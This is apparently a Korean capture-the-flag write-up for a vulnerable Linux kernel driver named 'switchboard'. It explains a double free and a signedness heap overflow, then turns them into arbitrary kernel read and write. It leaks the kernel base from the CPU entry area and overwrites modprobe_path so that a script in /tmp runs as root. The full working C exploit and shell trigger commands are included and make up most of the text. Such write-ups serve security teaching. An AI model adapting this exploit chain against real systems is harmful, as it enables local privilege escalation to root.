switchboard
취약점 분석
1. buf_reset()의 Double Free
RST ioctl은 buf_reset()을 호출한다. 첫 번째 호출에서는 inuse를 0으로 바꾸기만 하지만, 두 번째 호출부터는 dev->buf를 해제한다. 문제는 해제 후 dev->buf를 NULL로 만들지 않고, freed가 이미 1인지도 검사하지 않는다는 점이다.
따라서 같은 객체에 RST를 세 번 호출하면 두 번째와 세 번째 호출에서 동일한 0x20 바이트 버퍼가 연속으로 kfree()된다. 이 환경의 SLUB freelist에는 같은 청크가 두 번 들어가며, 이후 같은 크기의 두 할당이 동일 주소를 반환한다.
static long buf_reset(unsigned long arg){
struct switch_device *dev = get(selected);
if(!dev)
return -1;
if(dev->inuse == 0){
kfree(dev->buf); // freed 값을 확인하지 않음
dev->freed = 1;
return 1;
}
dev->seek = dev->head;
dev->inuse = 0;
return 0;
}BUF_SIZE는 32이고 sizeof(devices)는 24이므로 둘 다 동일한 0x20 크기 캐시에서 할당된다. Double Free 후 OBJ_NEW를 호출하면 새 객체의 buf와 리스트의 새 devices 노드가 동일한 청크에 배치된다. 그 결과 버퍼 I/O로 리스트 노드의 device, next, prev 포인터를 읽고 덮어쓸 수 있다.
static long obj_new(unsigned long arg){
struct switch_device *dev = kzalloc(sizeof(struct switch_device),
GFP_KERNEL_ACCOUNT);
/* ... */
dev->buf = kzalloc(BUF_SIZE, GFP_KERNEL_ACCOUNT); // 0x20 청크
/* ... */
return (long)add(dev);
}
static ssize_t add(struct switch_device* dev){
devices *newdev = kzalloc(sizeof(devices), GFP_KERNEL_ACCOUNT);
// 24 -> 0x20 청크
/* ... */
}2. N_SET의 signedness 오류로 인한 Heap Buffer Overflow
N_SET은 사용자 인자를 검증하지 않고 int len에 저장한다. 음수를 설정하면 length()의 상한 검사에 걸리지 않으며, 반환 과정에서 unsigned long로 변환되어 매우 큰 값이 된다. 이후 rx_handle()은 사용자가 요청한 write() 길이를 그대로 copy_from_user() 길이로 사용한다. 따라서 32바이트 버퍼를 넘어 임의 길이의 힙 오버플로우가 가능하다.
제공된 익스플로잇은 이 경로 대신 Double Free를 사용하지만, 별도로 악용 가능한 취약점이다.
static unsigned long length(struct switch_device* dev){
if((dev->len) > BUF_SIZE)
return BUF_SIZE-1;
return dev->len; // 음수 int가 큰 unsigned long 값으로 변환됨
}
static long n_set(int arg){
struct switch_device *dev = get(selected);
if(!dev)
return -1;
dev->len = arg; // 범위 및 음수 검사 없음
return dev->len;
}
static ssize_t rx_handle(struct file *filp, const char __user *buffer,
size_t len, loff_t *off){
/* ... */
ret = length(dev);
if(len < ret)
ret = len;
if(copy_from_user(dev->head, buffer, ret) != 0)
return -2;
/* ... */
}3. 손상된 객체 포인터를 통한 임의 읽기와 쓰기
get()은 리스트 노드의 device 포인터를 검증 없이 반환한다. settings()는 반환된 객체의 t_settings에 값을 기록하고, rx_handle()과 tx_handle()은 객체 내부의 head, tail, seek 포인터를 그대로 사용한다.
Double Free로 devices 노드와 버퍼가 겹친 뒤 node->device를 위조하면 다음 primitive를 만들 수 있다.
node->device = target - 0x28로 설정한 뒤SETTINGS(value)를 호출하면target에 8바이트를 쓴다.head,tail,seek를 원하는 주소로 조작한 뒤read()를 호출하면 해당 주소를 읽는다.head를 원하는 주소로 조작한 뒤write()를 호출하면 해당 주소에 사용자 데이터를 쓴다.
static long settings(unsigned long arg){
struct switch_device *dev = get(selected);
if(!dev)
return -1;
dev->t_settings = arg; // struct switch_device 기준 +0x28
return (long)dev->t_settings;
}
static ssize_t rx_handle(struct file *filp, const char __user *buffer,
size_t len, loff_t *off){
struct switch_device *dev = get(selected);
/* ... */
copy_from_user(dev->head, buffer, ret); // 조작된 head로 쓰기
/* ... */
}
static ssize_t tx_handle(struct file *filp, char __user *buffer,
size_t len, loff_t *off) {
struct switch_device *dev = get(selected);
/* ... */
copy_to_user(buffer+i, dev->seek, 1); // 조작된 seek에서 읽기
/* ... */
}Exploit 과정
Step 1: Double Free 트리거
객체 0을 생성하고 선택한다. 첫 번째 RST는 inuse를 0으로 만들고, 두 번째와 세 번째 RST는 동일한 dev->buf를 두 번 해제한다.
ioctl(fd, OBJ_NEW, 0);
ioctl(fd, OBJ_SELECT, 0);
ioctl(fd, RST, 0);
ioctl(fd, RST, 0);
ioctl(fd, RST, 0);Step 2: 버퍼와 리스트 노드 중첩 및 Heap Leak
객체 1을 생성하면 Double Free된 0x20 청크가 객체 1의 버퍼와 객체 1의 devices 노드에 동시에 할당된다.
객체 1의 초기 len은 0이므로 첫 write()는 데이터를 복사하지 않지만, tail을 head + 0x1f로 설정한다. 이어지는 read()는 겹쳐진 리스트 노드 내용을 반환한다. 오프셋 0에는 객체 1의 switch_device 주소가 있고, 오프셋 0x10에는 이전 노드인 객체 0의 devices 노드 주소가 있다.
ioctl(fd, OBJ_NEW, 0);
ioctl(fd, OBJ_SELECT, 1);
write(fd, buf, sizeof(buf));
read(fd, buf, sizeof(buf));
cur_device = *(uint64_t *)(buf);
prev_node = *(uint64_t *)(buf + 0x10);Step 3: Fake switch_device 구성
객체 1의 버퍼는 객체 1의 리스트 노드와 겹쳐 있으므로, 버퍼 첫 8바이트를 덮으면 node->device가 바뀐다. 이를 prev_node - 0x28로 설정한다.
struct switch_device::t_settings의 오프셋은 0x28이다. 따라서 prev_node - 0x28을 가짜 객체 주소로 사용하면 가짜 객체의 t_settings가 정확히 prev_node->device와 겹친다. 이후 객체 1을 선택하고 SETTINGS를 호출할 때마다 객체 0 노드의 device 포인터를 원하는 주소로 바꿀 수 있다.
ioctl(fd, N_SET, 0x20);
*(uint64_t *)(buf) = prev_node - 0x28;
write(fd, buf, sizeof(buf));임의 주소 target에 8바이트를 쓰는 과정은 다음과 같다.
ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, SETTINGS, target - 0x28); // prev_node->device = target - 0x28
ioctl(fd, OBJ_SELECT, 0);
ioctl(fd, SETTINGS, value); // *(uint64_t *)target = valueStep 4: CPU Entry Area에서 Kernel Base Leak
위 primitive로 cur_device가 가리키는 객체 1의 buf, head, tail, seek를 고정 주소 0xfffffe0000000004 부근으로 변경한다. 이 주소는 문제 커널의 CPU entry area이며 커널 포인터를 포함한다.
uint64_t cpu_entry = 0xfffffe0000000004;
for (int i = 0; i < 4; i++)
{
ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, SETTINGS, cur_device - 0x28 + i * 8);
ioctl(fd, OBJ_SELECT, 0);
if (i != 2)
ioctl(fd, SETTINGS, cpu_entry);
else
ioctl(fd, SETTINGS, cpu_entry + 0x1f);
}조작 후 객체 0 노드의 device를 cur_device로 복원하고 read()를 호출한다. 누출된 포인터에서 문제 커널의 고정 오프셋 0xe08e00을 빼면 커널 베이스를 구할 수 있다. modprobe_path는 커널 베이스에서 0x1850b20 떨어져 있다.
ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, SETTINGS, cur_device);
ioctl(fd, OBJ_SELECT, 0);
ioctl(fd, N_SET, 0x20);
read(fd, buf, sizeof(buf));
kbase = *(uint64_t *)(buf) - 0xe08e00;
modprobe_path = kbase + 0x1850b20;Step 5: modprobe_path 덮어쓰기
같은 방식으로 객체 1의 buf, head, seek를 modprobe_path로, tail을 modprobe_path + 0x1f로 변경한다. 객체 0 노드가 다시 객체 1을 가리키게 한 뒤 write()를 호출하면 rx_handle()의 copy_from_user()가 /tmp/ex\0을 modprobe_path에 기록한다.
for (int i = 0; i < 4; i++)
{
ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, SETTINGS, cur_device - 0x28 + i * 8);
ioctl(fd, OBJ_SELECT, 0);
if (i != 2)
ioctl(fd, SETTINGS, modprobe_path);
else
ioctl(fd, SETTINGS, modprobe_path + 0x1f);
}
char *new_modprobe_path = "/tmp/ex\0";
ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, SETTINGS, cur_device);
ioctl(fd, OBJ_SELECT, 0);
ioctl(fd, N_SET, 0x20);
write(fd, new_modprobe_path, sizeof(new_modprobe_path));Step 6: Usermode Helper 실행 및 Flag 획득
/tmp/ex에 /flag의 권한을 변경하는 스크립트를 작성한다. 실행 형식을 알 수 없는 파일 /tmp/dummy를 실행하면 커널이 usermode helper를 호출하며, 변조된 modprobe_path에 의해 /tmp/ex가 root 권한으로 실행된다. 마지막으로 /flag를 읽는다.
system("echo -ne '#!/bin/sh\nchmod 777 /flag' > /tmp/ex");
system("chmod +x /tmp/ex");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
system("cat /flag");Exploit Code
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#define RST 0x10
#define N_SET 0x20
#define OBJ_SELECT 0x30
#define OBJ_NEW 0x40
#define SETTINGS 0x50
int main()
{
important("happy hacking!");
uint64_t kbase, cur_device, prev_node, df_ptr, modprobe_path;
char buf[0x20] = {0};
uint64_t fd = open("/dev/switchboard", O_RDWR);
if (fd < 0)
{
important("failed to open /dev/switchboard");
return -1;
}
info("opened /dev/switchboard: %lu", fd);
// double free bug
ioctl(fd, OBJ_NEW, 0);
ioctl(fd, OBJ_SELECT, 0);
ioctl(fd, RST, 0);
ioctl(fd, RST, 0);
ioctl(fd, RST, 0);
info("double free done");
// leak kernel heap address
ioctl(fd, OBJ_NEW, 0);
ioctl(fd, OBJ_SELECT, 1);
write(fd, buf, sizeof(buf));
read(fd, buf, sizeof(buf));
hexdump(buf, sizeof(buf));
cur_device = *(uint64_t *)(buf);
prev_node = *(uint64_t *)(buf + 0x10);
info("node->cur_device: 0x%lx", cur_device);
info("node->prev_node: 0x%lx", prev_node);
// overwrite node->device as a prev_node->device-0x28
ioctl(fd, N_SET, 0x20);
*(uint64_t *)(buf) = prev_node - 0x28;
write(fd, buf, sizeof(buf));
info("overwrite node->device as prev_node->device-0x28");
// overwrite prev_node->device[0~3] as cpu entry 0xfffffe0000000004
uint64_t cpu_entry = 0xfffffe0000000004;
for (int i = 0; i < 4; i++)
{
ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, SETTINGS, cur_device - 0x28 + i * 8);
ioctl(fd, OBJ_SELECT, 0);
if (i != 2)
ioctl(fd, SETTINGS, cpu_entry);
else
ioctl(fd, SETTINGS, cpu_entry + 0x1f);
}
info("overwrite prev_node->device[0~3] as cpu entry 0xfffffe0000000004");
// leak kernel base address
ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, SETTINGS, cur_device);
ioctl(fd, OBJ_SELECT, 0);
ioctl(fd, N_SET, 0x20);
read(fd, buf, sizeof(buf));
hexdump(buf, sizeof(buf));
kbase = *(uint64_t *)(buf)-0xe08e00;
modprobe_path = kbase + 0x1850b20;
info("leak kernel base address: 0x%lx", kbase);
info("modprobe_path: 0x%lx", modprobe_path);
// overwrite node->device as a prev_node->device-0x28
ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, SETTINGS, prev_node - 0x28);
info("overwrite node->device as prev_node->device-0x28");
// overwrite prev_node->device[0~3] as modprobe_path
for (int i = 0; i < 4; i++)
{
ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, SETTINGS, cur_device - 0x28 + i * 8);
ioctl(fd, OBJ_SELECT, 0);
if (i != 2)
ioctl(fd, SETTINGS, modprobe_path);
else
ioctl(fd, SETTINGS, modprobe_path + 0x1f);
}
info("overwrite prev_node->device[0~3] as modprobe_path");
// overwrite modprobe_path as /tmp/ex\0
char *new_modprobe_path = "/tmp/ex\0";
ioctl(fd, OBJ_SELECT, 1);
ioctl(fd, SETTINGS, cur_device);
ioctl(fd, OBJ_SELECT, 0);
ioctl(fd, N_SET, 0x20);
write(fd, new_modprobe_path, sizeof(new_modprobe_path));
info("overwrite modprobe_path as /tmp/ex\\x0");
// setting up the malicious script
system("echo -ne '#!/bin/sh\nchmod 777 /flag' > /tmp/ex");
system("chmod +x /tmp/ex");
// trigger modprobe_path
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
system("cat /flag");
return 0;
}